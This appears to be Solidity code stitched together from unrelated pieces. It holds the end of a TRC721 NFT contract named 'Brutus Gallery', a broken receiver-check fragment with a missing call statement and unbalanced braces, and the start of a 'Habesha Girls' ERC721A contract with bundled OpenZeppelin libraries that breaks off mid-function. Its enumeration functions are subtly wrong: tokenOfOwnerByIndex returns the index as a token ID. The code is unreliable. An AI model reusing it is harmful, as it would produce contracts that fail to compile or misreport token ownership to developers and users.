super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
_ownedTokens[from].length--;
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
contract TRC721Token is TRC721, TRC721Enumerable, TRC721MetadataMintable {
constructor() public TRC721Metadata("Brutus Gallery", "BRGY", "https://mintearte.tk/") {
}
}
|
solhint-disable-next-line no-inline-assembly
|
function _checkOnTRC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!isContract(to)) {
return true;
}
ITRC721Receiver(to).onTRC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert("TRC721: transfer to non TRC721Receiver implementer");
}
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _TRC721_RECEIVED);
}
}
| 12,958,781 |
//*********************************************************************//
//*********************************************************************//
// __ __ __ __ _ __
// / / / /___ _/ /_ ___ _____/ /_ ____ _ ____ _(_)____/ /____
// / /_/ / __ `/ __ \/ _ \/ ___/ __ \/ __ `/ / __ `/ / ___/ / ___/
// / __ / /_/ / /_/ / __(__ ) / / / /_/ / / /_/ / / / / (__ )
// /_/ /_/\__,_/_.___/\___/____/_/ /_/\__,_/ \__, /_/_/ /_/____/
// /____/
//
// A series of digital art that shows a different heritage in Ethiopian in traditional costumes and hairstyles,
// HG is a collection of 1000 Habesha Girls NFTs unique digital collectibles living on the Ethereum blockchain.
//
//*********************************************************************//
//*********************************************************************//
//-------------DEPENDENCIES--------------------------//
// File: ./contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.9;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: ./contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: ./contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: ./contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: ./contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
*
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: ./contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: ./contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: ./contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: ./contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: ./contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: ./contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: ./contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//-------------END DEPENDENCIES------------------------//
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private mintedTokenNumbers = 0;
uint256 public immutable collectionSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* maxBatchSize refers to how much a minter can mint at a time.
* collectionSize_ refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
_name = name_;
_symbol = symbol_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
/**
* Returns the total amount of tokens minted in the contract.
*/
function totalSupply() public view override returns (uint256) {
return mintedTokenNumbers;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < collectionSize, "ERC721A: global index out of bounds");
if (_ownerships[index].addr != address(0)) {
return index;
}
revert("ERC721A: Token not minted");
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(_addressData[owner].balance > 0, "ERC721A: owner index out of bounds");
TokenOwnership memory ownership = _ownerships[index];
if (ownership.addr == owner) {
return index;
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
TokenOwnership memory ownership = _ownerships[tokenId];
if (ownership.addr != address(0)) {
return ownership;
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the baseURI and the tokenId. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: The given address is not the owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
